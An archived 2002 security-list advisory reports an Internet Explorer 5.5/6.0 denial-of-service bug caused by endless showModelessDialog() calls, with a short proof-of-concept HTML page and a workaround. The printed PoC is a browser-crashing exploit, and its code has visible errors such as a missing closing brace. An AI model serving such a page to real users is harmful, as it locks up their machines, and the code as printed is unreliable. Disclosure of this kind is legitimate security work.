[NT] Internet Explorer JavaScript Modeless Popup DoS

From: support@securiteam.com
Date: 01/13/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Sun, 13 Jan 2002 12:23:03 +0100 (CET)

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  Internet Explorer JavaScript Modeless Popup DoS
------------------------------------------------------------------------

SUMMARY

There is a bug in Internet Explorer 6 (probably lower versions down to 5.0
as well) that allows for a JavaScript to call an infinite amount of
modeless dialogs containing the page it was opened in, thus creating an
endless loop and rendering the internet explorer useless. These dialogs
also managed to stay open after killing the 'iexplore' process and
continued to loop until CPU usage was maxed at 100%. Due to the nature of
the showModelessDialog() function, the dialog fails to give up focus and
the machine may even become unable to function requiring a reboot of the
machine to regain control of the user interface.

DETAILS

Vulnerable systems:
Internet Explorer version 6.0
Internet Explorer version 5.5

Example:
Place this Code into an HTML file called exploit.html:

<html>
<head>
<script type="javascript">
function exploit() {
while(1) {
showModelessDialog("exploit.html");
}
</script>
</head>
<body onLoad="exploit">
</body>
</html>

Workaround:
Disable JavaScript.

ADDITIONAL INFORMATION

The information has been provided by <mailto:whizack@attbi.com> Lance
Hitch*** Jr..

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